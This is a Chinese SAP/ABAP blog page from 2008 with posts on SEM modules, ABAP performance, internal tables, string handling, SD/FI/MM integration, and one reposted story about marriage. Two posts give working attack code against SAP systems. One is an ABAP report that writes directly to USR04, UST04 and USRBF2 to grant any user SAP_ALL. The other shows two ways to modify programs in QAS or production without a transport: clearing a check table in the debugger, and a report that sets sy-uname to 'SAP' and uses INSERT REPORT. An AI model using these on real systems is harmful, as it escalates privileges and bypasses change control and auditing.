Maurice's blog - 因为专注,所以专业...
自我介绍
切换风格
订阅我的Blog
博客日历
文章归档...
最新发表...
最新评论...
最多阅读文章...
博客统计...
网站链接...
资源
===========================================================
SEM产品简介
===========================================================

SAP 战略企业管理SEM(Strategic Enterprise Management)是基于SAP商业智能的高层管理应用软件, 它蕴涵了以价值为本的管理思想,帮助决策者模

拟、分析、监视、优化管理和实现企业战略层面的决策, SEM产品包括BCS/BPS/BIC/SRM/CPM 5个子模块.

一.BCS->业务合并(Business Consolidation ),可编制符合不同会计准则的合并报表,并支持法定和管理合并。

二.BPS->业务计划和模拟(Business Planning and Simulation),帮助企业轻松实现全面预算管理,可以进行各种复杂业务模拟和分析。

三.BIC->业务信息收集(Business Information Collection), 支持由企业内部下属分散的各个组织机构系统地有组织地自动收集有关的ERP系统的关键数据和财务数据。

四.CPM->企业绩效监控(Corporate Performance Monitor), 蕴涵平衡计分卡理念, 通过运用关键绩效指标考核对企业经营状况进行监控, 内置的管理驾驶舱将各种企业经营状况数据更简捷直观呈现给企业管理层。

五.SRM->股东权益关系管理(Stakeholder Relationship Management),协助培养和稳定企业的投资者、企业的客户、企业的雇员、合作伙伴、供应商、社会团体及公共机构等不同的外部组织群体间的合作关系.


qiujun 发表于:2008.10.07 16:54 ::分类: ( SAP Overview ) ::阅读:(12次) :: 评论 (0) :: 引用 (0)
===========================================================
转:我家有只爱情鸟
===========================================================

今天无聊,在家看特点关注,发现一篇不错的文章:我家有只爱情鸟,就在网上搜搜,转来给大家分享一下,每次看这本书都有一些很精的作品。此文章中的游戏,说明了一些社会问题;文章的结论,也倒出了一些真理...

我和先生结婚10周年那天,一位移居加拿大的朋友,寄来一份礼物—— 一张游戏光盘,名字叫《

别让那只鸟飞了》。我没有玩游戏的习惯,随手把它收起来。

一天,8岁的儿子在书房里乱翻,发现这张游戏光盘。玩过之后,儿子对我说:“妈,这里有一只鸟

,弄不好就会从窗口里飞走,一飞走,游戏就砸了。”

在儿子的提醒下,我打开电脑,这是一个针对成人的大型游戏软件,总投资8500万美元。

打开游戏,映入眼帘的是一栋具有皇家风范的豪宅,各项生活设施应有尽有。

游戏者进去后,可以主人的身份,在这里生活。你想打高尔夫,可以去高尔夫球场。你想看书,可

以走进书房。想喝咖啡,可以让仆人给你送去。想举行舞会,可以邀请包括麦当娜在内的100位世界

影视明星。想去旅行吗?车子就在门口;上了车,沿着门口的路,你可以去埃及、法国等任何一个

地方。假如你有一位情人,还可以秘密约会,到附近的海滨或南美的哥伦比亚大草原。

在这里,你可以随心所欲地生活,按照自己的意愿,想怎样就怎样。

与现实不同的是,这栋豪宅里有一只鸟,它叼着一只篮子,从客厅飞向卧室,又从卧室飞向书房

,飞向餐厅,飞向豪宅的每一房间。

这只鸟有一个特点:不论你是外出旅行,还是在家读书,或是在公司处理商务,你都不能忘记往

这只鸟的篮子里放东西。假如你忘了,到一定时间,它就会从某个窗口里飞出去。一旦出现这种情

况,屏幕上就会出现一个画面:豪宅倒塌,野草丛生,夕阳下,一个孤独的身影慢慢消失在黑暗中

那么,该向篮子里面放什么东西,才不会使鸟儿飞走呢?

游戏里有一份菜单,包括金钱、花朵等日常用品和亲吻、微笑、哭泣等日常行为。这是赫利克斯

公司耗时3年,从全球50万对金婚老人那里征集的,每一件东西,每一个行为,按照50万对金婚老人

投票的多少,被赋予不同的时间价值,有的代表一个月,有的只代表3分钟。至于哪种代表一个月,

哪种代表3分钟,上面没有明说,完全由游戏者根据自己的认知来判定。

自从打开这个游戏,我就被它迷住了。只要有空,我就要玩上一阵。起初,我不知该向鸟儿的篮

子里放什么,所以,那栋豪宅经常从屏幕上消失。

有一次,我随便挑了一个亲吻,放在篮子里。结果大出意外,它让我在书房里看了整整一下午的

书,有几次,小鸟甚至还把篮子放在我的书桌上,然后,自己跳到里面打一个盹。

还有一次,我送给它一个亲密的拥抱和惜别,去了墨西哥的古玛雅城市遗址奇琴伊察。这次,更

加出乎我的意料,半个月后,我回来了,鸟儿不仅没有飞走,还热情地迎接了我。

这是怎样的一只鸟儿呢?我送金钱,它只在家里待3分钟;我送一枝花朵,它可以待上3个小时。

后来,我终于发现,它是一只婚姻鸟,并且有许多不起眼的救星。

一个亲吻、一个微笑、一个拥抱、一句关切的话语、一份小小的礼物、一段短暂的离别,都可以

把它留下。现在,我能够非常熟练地玩这个游戏,越玩越觉得它不是一个游戏,而是50万对金婚老

人在婚姻生活中的感悟和发现。


qiujun 发表于:2008.08.24 11:46 ::分类: ( 杂事、开心事 ) ::阅读:(97次) :: 评论 (0) :: 引用 (0)
===========================================================
如何增加SAP_ALL的权限
===========================================================

想拥有SAP的最大权限吗?执行下面的代码吧,想干嘛干嘛...

REPORT ZTESTCREATEUSER.

data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04 ,
l_PROFS LIKE USR04-PROFS ,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.


qiujun 发表于:2008.07.22 15:58 ::分类: ( ABAP ) ::阅读:(241次) :: 评论 (3) :: 引用 (0)
===========================================================
关于自定义程序的效能优化
===========================================================

关于自定义程序的效能优化
说明:本文档是参照sap程序优化标准培训教材BC490。
程序优化宗旨:1.正确运用索引,尽量避免以全表扫描的方式提取数据,
这是程序效能的最主要影响因素。
2.尽量减少数据的传输(例如,利用buffer,无用列不要传,数据
的过滤尽量放在数据库层等)。
3.批处理优于逐笔处理。
4.让代码少作无用功,摈弃无用程序代码。

一、实现方式的优化:
1.检查系统标准报表,察看有没有功能相同,相似的报表,以标准报表,或标准报表的增强版代替自定义开发程序。
2.低效率的query程序,如果问题出在无法优化的infoset 则应该考虑abap开发。
3.通过信息结构产生的查询程序,要特别注意效能,必要的时候考虑abap自定义开发,或query, report painter 等方式实现。
4.通过逻辑数据库实现的程序,如果效能低,可以考虑abap开发实现。

二、运行方式的优化:
1.对于非实时数据查询报表,可以考虑放到后台运行。
2.非实时数据查询,可以通过自定数据表存储运算结果,让用户直接从自定义表抽取报表数据,大大提升查询响应速度。
3.定期后台运行程序,把结果存入文档直接让用户下载等。

三、查询界面的优化:
1. 注意避免完全无输入限制的界面,这样可能会导致全表扫描的查询方式,带来效能问题
2.查询界面的设计要尽量契合程序中SQL的where条件。

四、程序代码的优化:
1) 正确运用索引:For all frequently used Select statements, try to use an
index. You always use an index if you specify (a generic part of)
the index fields concatenated with logical Ands in the Select
statement's Where clause. Note that complex Where clauses
are poison for the statement optimizer in any database system。
如果一个大数据量的SQL查询,WHERE条件没有利用索引提取数据,必然带来严重的效能问题:可以通过工具ST05等分析查询效能,或直接通过观察法分析SQL查询语句。
A.首先查看是否使用正确的数据表,(例如如果要取得科目期间金额数据,可直接从glt0表中获得,而不要通过bseg累加计算了)。
B.如果当前表不能提供按索引查询,可考虑是否可以通过索引表,例如vbrp中没有按物料的条件查询,但vbrmp则有按物料的索引,可以通过该表获得凭证号,再通过凭证号到VBRP中获得所需信息。
C.看有没有符合条件的视图。
D.按查询条件建立索引。

*自定义索引请注意以下问题:
1.不要修改标准索引。
2.每个表一般索引个数不要超过5个,索引字段一般不要超过4个。
3.尽量不要在主数据表和业务数据表中添加索引。
4.不要在以DD打头的标中建索引,因为他们是基础表。
5.字段排列按一下规则: Identifiers:+ Organizational units:+ Status fields:+ Classifiers:+ Date and time:+ Text fields:)。
6.对于非常复杂的where条件要拆成多查询语句,因为数据库的查询优化器无法对复杂条
件查询实现优化,可能导致非索引查询。
2) Where条件中尽量不要用“非”的查询条件(诸如not,<>, not in ,etc),这样可以缩小
数据搜索范围。
3)注意BUFFER:For all frequently used, read-only tables, try to use SAP buffering.
Network load is considerably less。
4) 尽量避免嵌套查询,多SQL查询,看可不可以用视图,表关联或子查询替代。
5) 用Select Into Table 代替Select + Append模式语句。
6) 用批处理模式代替逐纪录处理,例如:
INSERT CUSTOMERS FROM TABLE TAB.
比下面语句要高效的多
LOOP AT TAB INTO TAB_WA.
INSERT INTO CUSTOMERS VALUES TAB_WA.
ENDLOOP.
其他操作原理相同
7) 把运算尽量放到SQL层次实现,避免不必要数据的传输,例如
SELECT * FROM SBOOK INTO SBOOK_WA
WHERE CARRID = 'LH' AND CONNID = '0400'.
ENDSELECT.
比下面语句要高效率
SELECT * FROM SBOOK INTO SBOOK_WA.
CHECK: SBOOK_WA-CARRID = 'LH' AND SBOOK_WA-CONNID = '0400'.
ENDSELECT.

还有: DATA: MAX_MSGNR type t100-msgnr.
SELECT MAX( MSGNR ) FROM T100 INTO max_msgnr
WHERE SPRSL = 'D' AND
ARBGB = '00'.比下面语句要高效率得多
DATA: MAX_MSGNR type t100-msgnr.
MAX_MSGNR = '000'.
SELECT * FROM T100 INTO T100_WA
WHERE SPRSL = 'D' AND
ARBGB = '00'.
CHECK: T100_WA-MSGNR > MAX_MSGNR.
MAX_MSGNR = T100_WA-MSGNR.
ENDSELECT.
等等,其他操作原理相同。
8)不要滥用 SELECT *,一般应把所需字段list出来,不要list不必要的字段,减少数据传输,减轻网络负担,提升性能。

9)大数据量内表处理的优化
a.批处理优于逐纪录处理,例如APPEND LINES OF ITAB1 TO ITAB2.
优于
LOOP AT ITAB1 INTO WA.
APPEND WA TO ITAB2.
ENDLOOP.
ITAB2[] = ITAB1[].
优于
REFRESH ITAB2.
LOOP AT ITAB1 INTO WA.
APPEND WA TO ITAB2.
ENDLOOP.

b.运用排序和BINARY SEARCH
If internal tables are assumed to have many (>20) entries, a linear
search through all entries is very time-consuming.
Try to keep the table ordered and use binary search
or used a table of type SORTED TABLE.
If TAB has n entries, linear search runs in O( n ) time, whereas
binary search takes only O( log2( n ) ).
例如:
READ TABLE ITAB INTO WA WITH KEY K = 'X' BINARY SEARCH.
远优于
READ TABLE ITAB INTO WA WITH KEY K = 'X'.


qiujun 发表于:2008.07.18 09:54 ::分类: ( ABAP ) ::阅读:(165次) :: 评论 (0) :: 引用 (0)
===========================================================
PM-功能位置特性值批量更新程序
===========================================================

一个比较实用的程序,特性值的导入,此程序主要用在PM的功能位置(IL02)特性值导入,只要把对应的TABLE改一下,还可以用在物料等特性值的导入上。

导入模板:

PM000023PM000024PM000025PM000026PM000027PM000028PM000029
33250001-W1-00023453222
33250001-W1-00013453222

到内表以后有作转换,变成如下模板:

功能位置类别特性特性值
33250001-W1-0002EAMSD001PM0000281
33250001-W1-0002EAMSD001PM0000292
33250001-W1-0002EAMSD001PM0000303
33250001-W1-0002EAMSD001PM0000314

因为第一个模板是之前导入的模块,如果要人工整理成第二种标准模板,过于麻烦,用户比较伟大,所有只好在程序中作处理了,类别由程序实现。第一种模板如果特性值超过256个,就没办法导入了,EXCEL只有256列,第二个模板就不会有这样的问题。

程序如下:

 查看全文
qiujun 发表于:2008.07.16 09:54 ::分类: ( ABAP ) ::阅读:(158次) :: 评论 (0) :: 引用 (0)
===========================================================
非法修改系统中的程式
===========================================================

今天给大家提供两个非法修改系统程式的方法,比较实用。

对于ABAPer,有时在写程式时总会遇到反复测试的问题,可是在DEV中,数据会不全,测不出效果。在QAS上测每次都要请BASIS传请求号到QAS,反反复复大家都不方便。

用下面的两种方法就不用请BASIS就可以自己在QAS中改程式了,在PRD(有一点风险,个人负责哦~~~)中也可以直接改代码

NO.1(要有DEBUG权限)

进入SE37,找到TR_EDIT_CHECK_OBJECTS_KEYS,在第429行下断点,429行的代码如下:

*---keys without objects------------------------------------------------
IF wt_e071[] IS INITIAL
AND NOT wt_e071k[] IS INITIAL.
PERFORM raise_error_no_show
TABLES lt_enqueue wt_e071 wt_e071k
USING 0 'TK' 116 ' ' ' ' ' ' ' '
wi_with_dialog wi_send_message
gc_raise2_no_header_object.
ENDIF.

然后就可以进入SE38,SE78输入程式名,点CHANGE就会进入设断点的地方,通过debug把wt_e071[] 反复清空,就可以进入修改程式的界面。

NO.2 (下面的程式必须要QAS系统内)

REPORT zabapprogram.

DATA: BEGIN OF src OCCURS 1,
txt(255) TYPE c,
END OF src.

PARAMETERS: rep LIKE trdir-name.

AT SELECTION-SCREEN.

START-OF-SELECTION.
sy-uname = 'SAP'.
READ REPORT rep INTO src.

EDITOR-CALL FOR src.

IF sy-subrc = 0.

INSERT REPORT rep FROM src.

ENDIF.

运行上面的程式,输入要改的程式名,改好后保存,就OK了。


qiujun 发表于:2008.06.20 10:59 ::分类: ( ABAP ) ::阅读:(714次) :: 评论 (2) :: 引用 (0)
===========================================================
ABAP-内表
===========================================================

1. 内表的类型及定义:


( 1 ) .ANY TABLE :即任意表类型,此种定义方式只能在传递参数的时候定义。


例如: FORM XXX USING/CHANGING TYPE ANY TABLE .


( 2 ) .ANY TABLE 包括了两种类型: INDEX TABLE 和 HASHED TABLE 。


《 1 》 .INDEX TABLE :包括了 STANDARD TABLE 和 SORTED TABLE


A. STANDARD TABLE :其实就是一个线性表,通过 key 访问内表是线性查找的,也就是说,随着表中记录的增加,对表的操作的时间开销也相应的增加。


定义方法: TYPES/DATA : LIKE/TYPE STANDARD TABLE OF .


B. SORTED TABLE: 顾名思义,表中的记录是按照一定的顺序排列的。访问表的主要方式是表中定义的 key ,如果 key 不唯一,则选择 index 最小的那个。也可以通过 index 来访问排序表,如果你想通过 index 插入一条记录,系统会自动检查你插入的位置是否正确。所以,如果插入的时间比插入到标准表的时间会长。因此,尽量选择 key 来对排序表进行操作。


定义方法: TYPES/DATA : LIKE/TYPE SORTED TABLE OF .


《 2 》 .HASHED TABLE :对哈希表只能用你定义的 key 进行操作,而不能使用 index 进行操作。因此,定义哈希表必须定义 unique key 。注意:所有关于使用 index 操作表的语句都不能用于操作哈希表。例如: sort , loop 等。


定义方法: TYPES/DATA : LIKE/TYPE HASHED TABLE OF .


2. 内表的操作:


( 1 ) . 创建:


A. 定义一个结构,然后 type/like 这个结构


例如:


TYPES: BEGIN OF ,
...
igt; ...,
...
END OF .


DATA TYPE STANDARD TABLE OF
WITH NON-UNIQUE DEFAULT KEY
INITIAL SIZE
WITH HEADER LINE.


B. type/like 系统表或者数据库表或者结构


DATA TYPE STANDARD TABLE OF < 系统表名 >
INITIAL SIZE
WITH HEADER LINE.


( 2 ) . 添加数据:


A . APPEND :直接向表中添加数据


1. APPEND [wa TO|INITIAL LINE TO] itab[ASSIGNING |REFERENCE INTO dref].


2. APPEND LINES OF itab1 [FROM idx1] [TO idx2] TO itab2.


3. APPEND [wa TO] itab SORTED BY f [ASSIGNING


B .向表中插入数据:


1. INSERT [wa INTO|INITIAL LINE INTO] itab [INDEX idx] [ASSIGNING |REFERENCE INTO dref].


2. INSERT [wa INTO|INITIAL LINE INTO] TABLE itab [ASSIGNING |REFERENCE INTO dref].


3. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO itab2 [INDEX idx3].


4. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO TABLE itab2.


C .相同字段求和向表里添加:


Basic form


COLLECT [wa INTO] itab.


Extras:


1. ... ASSIGNING
2. ... REFERENCE INTO dref
3. ... SORTED BY f


( 3 ) . 删除数据:


1. DELETE itab.
2. DELETE TABLE itab WITH TABLE KEY k1 = v1 ... kn = vn.
3. DELETE TABLE itab [FROM wa].
4. DELETE itab INDEX idx.
5. DELETE itab FROM idx1 TO idx2.
6. DELETE itab WHERE logexp.
7. DELETE ADJACENT DUPLICATES FROM itab.


( 4 ) . 修改数据:


1. MODIFY itab [FROM wa] [INDEX idx] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].


2. MODIFY TABLE itab [FROM wa] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].


3. MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond.


qiujun 发表于:2008.04.24 17:05 ::分类: ( ABAP ) ::阅读:(327次) :: 评论 (0) :: 引用 (0)
===========================================================
sap的SD, FI,MM的业务集成
===========================================================

SD 和 MM 模块的业务集成:

1. 当你创建销售订单(SO),所有的项目将从MM模块拷贝物料主数据.

2. MRP和可用性检查也从MM模块读取相关数据.

3. While you create inbound/outbound delivery with reference to a sales order,the shipping point determination takes place with the help of the loading group, plant data, shipping conditions etc. This also refers to Material Master.

4. The material which you are entering in a sales order must be extended to the sales area of your sales order/customer otherwise you cannot transact with this material.

SD 和 FI模块的业务集成 :-

1. Whenever you create a delivery with reference to a sales order, goods movement takes place in the bacgground. eg. In case of standard sales order, you create an outbound goods delivery to the customer.
Here movement 601 takes place. This movement is configured in MM. Also, this movement hits some G/L account in FI. Every such movement of good s hits some G/L account.

2. The accounts posting in FI is done with reference to the billing documents (invoice, debit note, credit note etc) created in SD. Thus this is a link between SD and FI

3. Tax determination: In case of a tax determination also, there is a direct link between SD and MM

SD 与其他模块的集成点列表

销售订单 –
Integration Points Module
•Availability Check - MM
•Credit Check - FI
•Costing - CO/ MM
•Tax Determination - FI
•Transfer of Requirements - PP/ MM

发货和过账 –
Integration Points Module
•Availability Check - MM
•Credit Check - FI
•Reduces stock - MM
•Reduces Inventory $ - FI/ CO
•Requirement Eliminated - PP/ MM

发票 -
Integration Points Module
•Debit A/R - FI/ CO
•Credit Revenue - FI/ CO
•Updates G/ L - FI/ CO
(Tax, discounts, surcharges, etc.)
•Milestone Billing - PS

退货 & Credit Memo -
Integration Points Module
•Increases Inventory - MM
•Updates G/ L - FI
•Credit Memo - FI
•Adjustment to A/R - FI
•Reduces Revenue - FI

个人收集的业务重要函数

Function Name
Function Description
Function Pool
Function Pool Description
示例程序
 
SD_SALEDOCUMENT_CREATE
 
 
 
 
SD_ORDER_CREDIT_RELEASE
SD 信用管理
VKMP
 
 
RV_AVAILABILITY_CHECK
RV 可用量和需求
V03V
 
 
RV_REQUIREMENT_GENERATE
RV 可用量和需求
V03V
 
 
RV_DELIVERY_CREATE
SD 交货汇总处理
V50S
 
 
 
 
 
 
 
出库单-》财务凭证
WS_REVERSE_GOODS_ISSUE
Goods Mvmnts and Goods Mvments Reversals
V51W
 
RVV50L09
MB_CREATE_GOODS_MOVEMENT
为交货的发货
MBWL
 
 
MB_CANCEL_GOODS_MOVEMENT
为交货的发货
MBWL
 
 
订单 / 出库单-》发票
RV_INVOICE_CREATE
出具发票(新建)
V60A
 
 
RV_INVOICE_DOCUMENT_ADD
 (保存)其中 SLL_DOCUMENT_TRANSFER单元的调用可作发票出口
 
 
 
 
 
发票-》财务凭证
RV_ACCOUNTING_DOCULIST_CREATE
 
V60B
RV-RF 接口
 
RV_ACCOUNTING_DOCUMENT_CREATE
发票-》凭证
V60B
RV-RF 接口
VF02 (过帐)
FI_PERIOD_CHECK
财务会计-》凭证-》过帐期间-》未清和关帐过帐期间(表t001b
FACS
FI/CO 接口的 FI 服务
很多的检查函数
sd_invoice_release_to_account
释放发票-》凭证
调用
RV_INVOICE_DOCUMENT_ADD
V60A
RV-RF 接口
VFX3
RV_INVOICE_LIST_DOCUMENT_ADD
 
V60A
 
VF02
RV_INVOICE_DOCUMENT_ADD
根据 RFBFK 决定是否调用( 591 行) RV_ACCOUNTING_DOCUMENT_CREATE
V60A
 
VF02 (保存)
 
 
 
 
 
 
AC_DOCUMENT_CREATE
 
RWCL
会计合算接口
 
AC_DOCUMENT_REVERSE
 
RWCL
会计合算接口
 
 
 
 
 
 
 
RV_MISSING_DOCUMENT_DATA
确定不完整的销售凭证
VO5M
 
RVAUFERR
 
 
 
 
 
NUMBER_CHECK
检查号码是否在号码区间内
 
R/3 Central Basis Development: Number Ranges
 
BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 182pt; PADDING-TOP

qiujun 发表于:2008.04.24 16:59 ::分类: ( SD ) ::阅读:(301次) :: 评论 (1) :: 引用 (0)
===========================================================
The event of ABAP Report
===========================================================

一,一, 首先介绍一下ABAP的程序的类型:
Program type(程序类型)Introductory statement(类型描述)
1 REPORT(报表)
M PROGRAM(屏幕程序)
F FUNCTION-POOL(函数组)
K CLASS-POOL(类组)
J CLASS-POOL(接口组)
T TYPE-POOL(类型池)
二, 下面介绍报表中用到的事件以及作用:
1. LOAD-OF-PROGRAM:程序开始执行时候自动调用
这个事件在SUBMIT,CALL TRANSACTION,PERFORM等执行的时候系统会自动调用这个事件。所以无需声明即可。
2. INITIALIZATION
(1).只能用于报表程序
(2).在选择屏幕出现之前执行,如果用逻辑数据库的话,这个是唯一能够修改选择屏幕初始值的地方。
(3).通常的用法是在这里给选择屏幕中的字段赋值。
3. AT SELECTION-SCREEN
(1).其实就像一个FORM,所以在这个事件里声明的变量都是局部变量。
(2).根据SY-UCOMM这个系统变量可以判断用户的命令
(3).在这个事件里响应的是屏幕上选择条件中的事件,例如CHECKBOX的选择与否,RADIOBUTTON的选择,LISTBOX
的选择等等。所以分为以下几个方面:
1. ... ON psel :在PARAMETER变化是触发的事件
2. ... ON END OF sel :SELECT-OPTION触发的事件
3. ... ON VALUE-REQUEST FOR psel_low_high :选择的帮助(F4)
4. ... ON HELP-REQUEST FOR psel_low_high :选择的帮助(F1)
5. ... ON RADIOBUTTON GROUP radi :单选按钮事件
6. ... ON BLOCK block :框架的触发事件
7. ... OUTPUT :响应屏幕上的事件,修改选择屏幕的唯一方法
4. START-OF-SELECTION
报表程序必须执行的事件,在进入第二屏幕之前触发。
5. GET
获得逻辑数据库的值。前提是必须首先声明逻辑数据库。
6. END-OF-SELECTION
第二屏幕显示完毕,结束处理。
7. MODULE
这个是当你调用自己定义的屏幕时,响应屏幕事件的方法。
8. ENDMODULE
9. CHECK
只对逻辑数据库使用,检查是否取得数据。
10. REJECT
同样只对逻辑数据库使用,退出。
11. STOP
结束一个处理块。
12. RETURN
返回一个处理块。
三, 附加说明:
1. SET PF-STATUS:
基本语法格式:SET PF-STATUS pfstat.
扩展:
1. ... EXCLUDING f oder ... EXCLUDING itab
2. ... IMMEDIATELY
3. ... OF PROGRAM progname
这个是设置屏幕菜单,命令行等的命令,详细地信息我会在后面关于菜单设计的时候说明。
2. SET TITLEBAR:
设置屏幕标题,在屏幕显示之前调用。

1. SET PF-STATUS:
基本语法格式:SET PF-STATUS pfstat.
扩展:
1. ... EXCLUDING f oder ... EXCLUDING itab
2. ... IMMEDIATELY
3. ... OF PROGRAM progname
这个是设置屏幕菜单,命令行等的命令,详细地信息我会在后面关于菜单设计的时候说明。
2. SET TITLEBAR:
设置屏幕标题,在屏幕显示之前调用。


qiujun 发表于:2008.04.24 16:36 ::分类: ( ABAP ) ::阅读:(166次) :: 评论 (1) :: 引用 (0)
===========================================================
转:ABAP Performance Examples
===========================================================

ABAP Performance Examples

本文章的内容根据SAP系统所带的教程整理而来,查看该性能教程的步骤为:SE38事物代码-> Environment菜单 ->Examples -> Performance Examples.

一、 SQL Interface

1. Select ... Where vs. Select + Check

用Select … Where语句效率比Select + Check语句要高,例如:

SELECT * FROM SBOOK INTO SBOOK_WA

WHERE CARRID = 'LH' AND

CONNID = '0400'.

ENDSELECT.

SELECT * FROM SBOOK INTO SBOOK_WA.

CHECK: SBOOK_WA-CARRID = 'LH' AND

SBOOK_WA-CONNID = '0400'.

ENDSELECT.

 查看全文
qiujun 发表于:2008.04.11 14:58 ::分类: ( ABAP ) ::阅读:(286次) :: 评论 (1) :: 引用 (0)
===========================================================
ABAP对字符的一些基础操作
===========================================================
1.对字符串的操作
1).SHIFT:截断字符串
SHIFT {c} [BY {n} PLACES] [{mode}].:
作用:去掉字符串的前n个位置的字符,如果n未指定,默认为1,如果指定的n小于等于0,则字符串不变。如果n超出字符串的长度,则字符串变空,所以在做此操作的时候要注意n的指定。可以首先获得该字符串的长度,方法:len=STRLEN(C)。
Mode:指定字符串截断的方向。
LEFT:从左边截断
RIGHT:从右边截断
CIRCULAR:把左边的字符放到右边。
SHIFT {c} UP TO {str} {mode}.:
作用:把字符串中在str以前的字符都去掉,同样可以指定mode,原理同上。
SHIFT {c} LEFT DELETING LEADING {str}.
SHIFT {c} RIGHT DELETING TRAILING {str}.:
作用:这两个语句就是把字符串c中前的(LEFT)或者后的(RIGHT)的字符str都去掉。
以上语句常用的场合:
A.去掉字符串中的前导字符。例如:如果alv中定一了一个字段是10位的字符,里面放的是so,po等number,而你不想显示前面的0,那么就可以这样做:SHIFT {c} LEFT DELETING LEADING 0.
B.已知某个字符串中包含固定的字符,想把这个固定字符前面的字符删掉,那么可以使用:SHIFT {c} UP TO {str}。例如:某个物料,通过增强mga00002和mga00003对其加了前缀,这个前缀部分是在某固定值表中取得的数据,在具体显示中,要把其前缀去掉。如TE-MRP-MAT1中想把te去掉,mrp表示该物料是跑mrp的,需求要求把te-去掉,mrp可以在固定值表中取得,则可以使用SHIFT {c} UP TO 'MRP'.
2).REPLACE:替换字符串
REPLACE {str1} WITH {str2} INTO {c} [LENGTH {l}].:
作用:把字符串c中的str1替换成str2,如果指定l,就是指定了替换的长度。如果替换成功,则SY-SUBRC设置成0。
常用场合:
字符串的替换操作比较常用,需要注意的是l的指定长度。
3). TRANSLATE:转换字符串
TRANSLATE {c} TO UPPER CASE.
TRANSLATE {c} TO LOWER CASE.:
作用:字符串的大小写的转换
TRANSLATE {c} USING {r}. :
作用:根据规则r转换字符串c
常用场合:
Sap系统一般都是使用大写字母的,但是某些特定的字段却是用小写字母来标记的,在操作这些字段的时候就需要注意大小写的转换了。转换规则倒是不太常用,到现在我还没有遇到过。
4). SEARCH:查找字符串
SEARCH {c} FOR {str} {options}.:
作用:在字符串c中查找str,如果找到了,SY-SUBRC为0,SY-FDPOS为找到字符串的具体位置。
需要说明的地方:注意模式的使用
指定str:查找str,str中后面的空格忽略
指定.str.:查找str,包含了str中尾部的空格
指定*str:查找以str结尾的字符串
指定str*:查找以str开头的字符串
{options}的指定:
主要用到的就是:STARTING AT {n1}指定开始位置
ENDING AT {n2}指定结束位置
常用场合:
一般用来判断某个字符串是否符合条件。也可以结合其他语句对字符串进行操作。
5).CONDENSE:去掉字符串中的空格
CONDENSE {c} [NO-GAPS].:
作用:去掉字符串中的前面和后面的空格,如果指定NO-GAPS,则去掉字符串中的所有空格。
常用场合:获得字符串的精确长度,用于判断。
6).SPLIT:拆分字符串
SPLIT {c} AT {del} INTO {c1} ... {cn}.
作用:按照分割字符del把字符串c分割成c1…cn。
SPLIT {c} AT {del} INTO TABLE {itab}.
作用:按照分割字符del把c分割,然后放到内表中的相应字段
常用场合:
文件名的分割,根据完整的文件路径加文件名把文件名分割出来。
难点:无法确定要分割多少次.
解决方法:两两分割,到最后的那个就是了。例如:str=c:dir1dir2dir3file
Split str at '' into str1 str2.
Find str2 for '/'.
Check sy-subrc = 0.
Do.
Find str2 for '/'.
If sy-subrc = 0.
Split str2 into str1 str2.
Else.
Exit.
Endif.
Enddo.
文件上传的类型是字符串,把其分割后放到内表中。例如上面的问题:
data: begin of itab occurs 0 ,
col1(30) type c,
end of itab.
Split str at '' into table itab.
describe table itab lines line.
Read table itab index line.
Itab-col1就是file
7).CONCATENATE:连接字符串
CONCATENATE {c1} ... {cn} INTO {c} [SEPARATED BY {s}].
作用:把c1…cn用s分隔连接到c中
常用场合:文件下载,对文件中的字段编辑。
qiujun 发表于:2008.04.09 15:21 ::分类: ( ABAP ) ::阅读:(271次) :: 评论 (0) :: 引用 (0)
===========================================================
ENDAT 实例
===========================================================

又一个实用的小例子,用在作加总上。

REPORT demo_int_tables_at_1.
DATA: BEGIN OF line,
col1(1) TYPE c,
col2 TYPE i,
col3 TYPE i,
END OF line.

DATA itab LIKE HASHED TABLE OF line
WITH UNIQUE KEY col1 col2.

line-col1 = 'A'.
DO 3 TIMES.
line-col2 = sy-index.
line-col3 = sy-index ** 2.
INSERT line INTO TABLE itab.
ENDDO.

line-col1 = 'B'.
DO 3 TIMES.
line-col2 = 2 * sy-index.
line-col3 = ( 2 * sy-index ) ** 2.
INSERT line INTO TABLE itab.
ENDDO.

SORT itab.

LOOP AT itab INTO line.
at NEW col1.
WRITE / line-col1.
endat.

WRITE: / line-col1, line-col2, line-col3.

AT END OF col1.
SUM.
ULINE.
WRITE: / line-col1, line-col2, line-col3.
SKIP.
ENDAT.
AT LAST.
SUM.
ULINE.
WRITE: / '总计', line-col2, line-col3.
ENDAT.
ENDLOOP.


qiujun 发表于:2008.03.26 20:57 ::分类: ( ABAP ) ::阅读:(137次) :: 评论 (0) :: 引用 (0)